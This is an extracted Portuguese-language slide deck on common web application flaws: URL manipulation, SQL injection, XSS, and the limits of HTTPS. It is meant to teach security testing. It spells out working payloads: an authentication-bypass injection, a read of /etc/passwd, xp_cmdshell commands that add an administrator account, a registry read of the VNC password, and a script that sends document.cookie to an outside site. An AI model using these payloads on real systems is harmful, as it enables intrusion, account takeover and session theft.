Title: Falhas mais comuns em aplica
1Falhas mais comuns em aplicações WEB
2Agenda
- Introdução
- Explicando cada ataque através de exemplos
- URL Manipulation
- SQL Injection
- XSS Cross Site Scripting
- Como resolve-los
- O que HTTPS nos oferece
- Porque HTTPS não resolve nossos problemas?
- Próximos passos do projeto .
3Introdução
- Os ataques a serviços de rede estão se tornando
muito sofisticados - A criatividade humana não para
- Mas o que faltava?
- APLICAÇÕES!!! Mas será que é possível?
- Atualmente a maioria dos BUGs reportados estão
em aplicações - Application Security ! Network Security
- Não se esqueçam Quem provê acesso aos dados? As
aplicações !!!
4Introdução Lendas Urbanas
- Não ha problemas
- Até que a aplicação seja comprometida
- Erros de runtime não são problemas (tratamento de
erros) - Exponham informações relevantes
- Consumam todo recurso do servidor
- Web Services não são vulneráveis
- Quase nunca testados e raramente segurança é
considerada - Solução
- Testes de penetração. São caros !!!
5Introdução - Números
- Gartner
- 75 dos ataques acontecem no nível das aplicações
- Em caso de falha no sistema provavelmente os
desenvolvedores são três vezes mais culpados do
que os administradores de sistemas - NIST
- 92 das vulnerabilidadces estão no nível das
aplicações
6Introdução
- Nosso foco será demonstrar estes BUGs de forma
prática - Para nos proteger temos que entender das táticas
e armas no nosso inimigo - Temos que ter nossas armas para nos defender !!!
7(No Transcript)
8Testes e segurança por onde vai .
9Contexto
- Não há segurança de sistemas sem a conjuncão de
tres fatores - Boas praticas de codificação
- Metodologia adequada (arquitetura e etc)
- Testes ..... E ai vem .....
10O que é segurança
- Segurança em um end line
- Mas o que é isso?
- Não se discute segurança sem entender de
- Arquitetura de Computadores, Sistemas
Operacionais, Redes de computadores (protocolos
de comunicação, Linguagem de programação,
engenharia de software e Logica.
11O que é segurança
- Entao o que eu preciso saber para se poder testar
.... - Opção 1 seguir os procedimentos definidos alguem
que sabe disso tudo - Opção 2 Saber disso tudo
12Então para o que querem ....
13Então para o que querem ....
14Então para o que querem ....
15Então para o que querem ....
16Então para o que querem ....
17Então para o que querem ....
18Então para o que querem ....
19Segurança de Redes
- Recursos
- Sites
- www.securityfocus.com
- www.cert.com
- www.rootkit.com
20Segurança de Redes
- Periódicos
- Linux Journal
- Sys Admin Magazine
- Information Security
- SC Info Security Magazine
- Security Magazine (Nacional)
21Testes
22OSSTMM
23(No Transcript)
24- Agora faça seu checklist
- O que fazer?
- O que testar?
- Como fazer?
- São as resposta que queremos. Vamos começar por
..... - AQUI
25Em Aplicações WEB
26URL Manipulation
- O comando GET requisita informações importantes
na URL - Os parâmetros podem ser manipulados para se obter
resultados satisfatórios - O impacto é ALTO
- Variações podem ser feitas para se tentar obter
resultados interessantes -
http//www.paladiontest.com/example?accountnumber
12345debitamount1
27URL Manipulation
28URL Manipulation
29SQL Injection
- A idéia é injetar um comando SQL (Structured
Query Language) ou comando como imput dos dados
em um formulário WEB - Todos os parâmetros passados são direcionados
para o banco de dados - O atacante pode manipular com as tabelas e dados
diretamente
30Causas - SQL Injection
public void OnLogon(object src, EventArgs e)
SqlConnection con new SqlConnection(
"server(local)databasemyDBuidsapwd" )
string query String.Format( "SELECT
COUNT() FROM Users WHERE "
"username'0' AND password'1'",
txtUser.Text, txtPassword.Text ) SqlCommand
cmd new SqlCommand(query, con) conn.Open()
SqlDataReader reader cmd.ExecuteReader()
try if(reader.HasRows())
IssueAuthenticationTicket() else
TryAgain() finally con.Close()
31SQL Injection Problemas
Esperado username abc password
teste123 Quando submetido a query será montada
como select from users where username'abc'
and password 'test123'
Não esperado username abc' --
password A query enviada para o
banco de dados será select from users where
uname'abc --' and password''
32SQL Injection Problemas
Esperado Username doug Password
p_at_w0rd SELECT COUNT() FROM Users WHERE
username'doug' and password'p_at_w0rd'
Não esperado Username ' OR 11 -- Password
SELECT COUNT() FROM Users WHERE username'' OR
11 -- and password''
33SQL Injection
Login com Sucesso
http//target.site/login.jsp
Esperado
Não esperado
34SQL Injection Mais exemplos
Identificando campos de uma tabela SELECT
fieldlist FROM table WHERE field 'x' AND
email IS NULL --'
Verificando se a tabela existeSELECT email,
passwd, login_id, full_name FROM table WHERE
email 'x' AND 1(SELECT COUNT() FROM tabname)
--'
35SQL Injection Mais exemplos
Procurando por usuários SELECT email, passwd,
login_id, full_name FROM members WHERE email
'x' OR full_name LIKE 'Maria'
Ataques de força brutaSELECT email, passwd,
login_id, full_name FROM members WHERE email
ususario_at_provedor.com' AND passwd senha123'
36SQL Injection Mais exemplos
Verificando as permissões no Database SELECT
email, passwd, login_id, full_name FROM members
WHERE email 'x' DROP TABLE members --'
Criando um usuárioSELECT email, passwd,
login_id, full_name FROM members WHERE email
'x' INSERT INTO members ('email','passwd','logi
n_id', 'full_name') VALUES (usuario_at_provedor.co
m',senha', user',User da Internet')--'
37SQL Injection Mais exemplos
Alterando o mail de comunicação SELECT email,
passwd, login_id, full_name FROM members WHERE
email 'x' UPDATE members SET email
usuario_at_provedor.com' WHERE email
usuario_at_hackprovedor.com'
38Caracteres utilizados
- ' ou " Utilizado para indicar tipo char
- -- ou Comentário
- // Comentário de várias linhas
- Adição, concatenação
- Concatenação
- Wildcard
- ?Param1fooParam2bar Parâmetros da URL
- PRINT Muito utilizado quando não temos
transações - _at_variable Variável Local
- _at__at_variable Variável Global
- waitfor delay '0010' Delay
39SQL Injection
- http//172.27.70.25/tikiwiki-1.8/tiki-directory_se
arch.php?howorwordswhereallsort_modedelete
2020from20users_uses
40Determinando a versão do SGBD
- Na maioria do tempo as mensagens de erro nos
ajudam a identificar qual o SGBD utilizado - As mensagens de erro ODBC mostram SGBD utilizado
- Se não tivermos as mensagens ODBC
- Tentamos analisar qual a tecnologia utilizada na
aplicação e no servidor WEB - Tentamos utilizar caracteres, comandos ou stored
procedures que geram erros específicos
41Determinando a versão do SGBD
MS SQLT-SQL MySQL Access OraclePL/SQL DB2 PostgresPL/pgSQL
Concatenate Strings ' '' ' concat (" ", " ") " "" " ' '' ' " "" " ' '' '
Null replace Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()
Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()
Op Sys interaction xp_cmdshell select into outfile / dumpfile date utf_file import from export to Call
Cast Yes No No No Yes Yes
42Interagindo com o sistema Operacional
- Existem duas maneiras de se interagir com o
sistema operacional - Lendo arquivos
- Obtendo arquivos de senhas
- Trocando senhas dos usuários
- Executando comandos que troquem parâmetros do
sistema - Execução direta de comandos
- Não ha limites !!!
- Qualquer ação depende do privilégio que o
usuários utilizado pelo SGBD possui
43MySQL e a interação O.S.
- MySQL
- LOAD_FILE
- ' union select 1,load_file('/etc/passwd'),1,1,1
- LOAD DATA INFILE
- create table temp( line blob )
- load data infile '/etc/passwd' into table temp
- select from temp
- SELECT INTO OUTFILE
44MS SQL e a interação O.S.
- MS SQL Server
- ' exec master..xp_cmdshell 'ipconfig gt test.txt'
-- - ' CREATE TABLE tmp (txt varchar(8000)) BULK
INSERT tmp FROM 'test.txt' -- - ' begin declare _at_data varchar(8000) set
_at_data' ' select _at_data_at_datatxt' ' from
tmp where txtlt_at_data select _at_data as x into temp
end -- - ' and 1 in (select substring(x,1,256) from temp)
-- - ' declare _at_var sysname set _at_var 'del
test.txt' EXEC master..xp_cmdshell _at_var drop
table temp drop table tmp --
45Arquitetura mais comum
- Sempre tenha em mente
- O SQL normalmente é executado em um outro
servidor - O servidor de BD normalmente não tem acesso a
Internet e é protegido
46Comando de rede relevantes
- Usando a SP xp_cmdshell podemos executar
- Ipconfig /all
- Tracert myIP
- arp -a
- nbtstat -c
- netstat -ano
- route print
47Manipulando com as informações da rede
- ' declare _at_var varchar(256) set _at_var ' del
test.txt arp -a gtgt test.txt ipconfig /all
gtgt test.txt nbtstat -c gtgt test.txt netstat
-ano gtgt test.txt route print gtgt test.txt
tracert -w 10 -h 10 google.com gtgt test.txt' EXEC
master..xp_cmdshell _at_var -- - ' CREATE TABLE tmp (txt varchar(8000)) BULK
INSERT tmp FROM 'test.txt' -- - ' begin declare _at_data varchar(8000) set
_at_data' ' select _at_data_at_datatxt' ' from
tmp where txtlt_at_data select _at_data as x into temp
end -- - ' and 1 in (select substring(x,1,255) from temp)
-- - ' declare _at_var sysname set _at_var 'del
test.txt' EXEC master..xp_cmdshell _at_var drop
table temp drop table tmp --
48Manipulando com o S.O.
- Linux MySQL
- ' union select 1, (load_file('/etc/passwd')),1,1,1
- MS SQL Criando usuários
- ' exec xp_cmdshell 'net user /add victor
Pass123'-- - ' exec xp_cmdshell 'net localgroup /add
administrators victor' -- - Iniciando serviços
- ' exec master..xp_servicecontrol 'start','FTP
Publishing' --
49Obtendo a senha do VNC
- ' declare _at_out binary(8) exec
master..xp_regread _at_rootkey'HKEY_LOCAL_MACHINE',
_at_key'SOFTWARE\ORL\WinVNC3\Default',
_at_value_name'Password', _at_value _at_out output
select cast(_at_out as bigint) as x into TEMP-- - ' and 1 in (select cast(x as varchar) from temp)
--
50XSS Cross Site Scripting
51WEB Session Hijaking
- Não a ligação entre o ID do login e o ID da
sessão - A sessão do usuário pode ser roubada
- Impacto é ALTO
- A idéia e obter de alguma forma o HASH da sessão
52Cross Site Scripting
Webpage Cookies
Reflected Code ltSCRIPTgtEnvia o Cookie para
attacker.comlt/SCRIPTgt
Link malicioso em uma pagina web ou e-mail
malicioso
Executed
http//banco.com/login/
Malicious Link http//bank.com/account.jsp?
ltSCRIPTgtEnvia cookie para sitehaker.com
Cookie
Cookie
53Cross Site Scripting (XSS)
- Esta vulnerabilidade tira vantagens de sites que
não fazem o tratamento dos dados de entrada. - O POST contém um script que pode ser executado
via browser - ltscriptgtwindow.navigate("http//somesite.net/steal
.asp?cookie"document.cookie)lt/scriptgt
54XSS Como o atacante depura
- Pode colocar uma mensagem no post
- ltscriptgtalert(this is vulnerable)lt/scriptgt
- A aplicação retorna a sua submissão
55XSS Exemplos
- Pode se receber um e-mail com o um link
- O resultado é enviado para um site
- http//www.mymail.com?searchltscriptgtwindow.
navigate("http//badsite.net/steal.asp?cookie"do
cument.cookie)lt/scriptgt - http//www.steve.org.uk/Hacks/XSS/simple.html
56XSS Exemplos do passado
- http//www.fotolog.net/about.html?user3Cscript3
Ealert(22rfdslabs22)3C/script3E - http//www.microsoft.com/education/?IDMCTNtarget
http//www.microsoft.com/education/?IDMCTNtarge
t"gtltscriptgtalert(document.cookie)lt/scriptgt - http//hotwired.lycos.com/webmonkey/00/18/index3a_
page2.html?twltscriptgtalert(Test)lt/scriptgt - http//www.shopnbc.com/listing.asp?qultscriptgtaler
t(document.cookie)lt/scriptgtfrompage4page1ctV
VTVmh0sh0RN1 - http//www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_sea
rch_exe?search_text223E3Cscript3Ealert28docu
ment.cookie293C2Fscript3E
57- Solução
- Sempre valide a sessão com login e os parâmetros
críticos
58Sistemas distribuídos
- Sistemas distribuídos podem ser vistos de maneira
geral como diferentes elementos de software
(aplicações) executando remotamente (ou em locais
remotos) e se comunicando para fornecer/consumir
serviços. - Conjunto de máquinas autônomas
- Interconectadas por canais de comunicação
- Comunicando-se por troca de mensagens
- Independência de falhas (falhas parciais)
- Ausência de relógio global
- Ausência de estado global
- Estado compartilhado da aplicação (através de
comunicação)
59Sistemas distribuídos
- Além de considerar todos os problemas anteriores
- Eles se potencializam num cenário distribuído
- Precisamos usar
- Comunicação Segura
- Autenticação
- Integridade dos dados trafegados
- Serviços de rede passam a ser problemas DNS
Principalmente.
60Comunicação segura
- O que podemos usar
- VPN IPSec, PPTP, ....
- Custoso
- Por ser necessário uma configuração especial, a
aplicação depende não somente dela mas da rede
prover - Mas lembre-se
- A REDE É INSEGURA !!!!!
61E a aplicação ?
- Autenticação
- Integridade dos dados trafegados
- Que tal uma PKI ?
- Temos Autenticação
- Temos Integridade e confidenciaidade se
encriptarmos os dados
62O que HTTPS nos oferece
- HTTPS resolve os problemas de segurança apontados
anteriormente? - Mas então para que usar HTTPS?
- Muitas vezes dizemos que o uso de HTTPS nos temos
o servidor seguro
63O que HTTPS nos oferece
- HTTPS é a versão segura do protocolo HTTP que
implementa a autenticação e encriptação da
comunicação. - Previne os ataques do tipo men-in-the-middle e
que dados interceptados sejam lidos - A autenticação é uma característica muito
explorada atualmente - ICP-BR
64O que HTTPS nos oferece
- Negocia qual sistema de codificação será usado
durante a transferência - Estabelece e troca as chaves de sessão entre o
cliente e o servidor - Opcionalmente autentica o servidor para o cliente
- Opcionalmente autentica o cliente para o
servidor
65Autenticação usando certificados e chaves
públicas/privadas
Webserver
Fase do desafio (Mensagem Randômica)
Identificação da Conexão Randômica (server)
Identificão da Conexão Randômica (server)
66Autenticação usando certificados e chaves
públicas/privadas
Webserver
Fase do desafio (Mensagem Randômica
Identificão da Conexão Randômica (server)
67Autenticação usando certificados e chaves
públicas/privadas
Webserver
Fase do desafio (Mensagem Randômica
Fase do desafio (Mensagem Randômica
A autenticação do cliente pode começar agora
Identificão da Conexão Randômica (server)
dentificão da Conexão Randômica (server)
68Porque HTTPS não resolve nossos problemas?
- Porque nossos problemas não estão apenas nos
protocolos ou na comunicação. Temos problemas nas
aplicações e estas hierarquicamente estão acima
dos protocolos de comunicação.
69Autorização
- Associar direitos, capacidade e habilidades
associadas a um assunto - A autorização geralmente vem após uma
autenticação - Ex. Uma vez que se sabe quem é o usuário foi
autenticado o serviço decidirá o que o usuário
pode fazer no contexto que ele esta autorizado
70Autorização
- RBAC
- Autorização baseada em perfil
- Autorização baseada em contexto
- http//maca.sourceforge.net
71Auditoria
- Loggin analises
- Data warehouse
- Mineração de dados
- Correlação de eventos
72Próximos passos
- Componente focado em resolver os problemas
apresentados - Não intrusivo
- Flexível
- Performance
- Fácil de usar
- Autenticação
- Componente para autenticar
- Login/Senha
- Certificado Digital
- Biometria
73Referências
- http//www.owasp.org/
- http//www.isecom.org/osstmm/
- Open-Source Security Testing Methodology Manual
- Web Application Disassembly with ODBC Error
Messages - JavaOne 2005
- Strategies for Securing Java Technology Code
- Web Services Security Attacks in Action
- 9 Ways to Hack a Web App
- Advanced SQL Injection In SQL Server applications
- Advanced Cross Site Scripting
- CROSS-SITE TRACING (XST)
- SQL Injection Signatures Evasion
74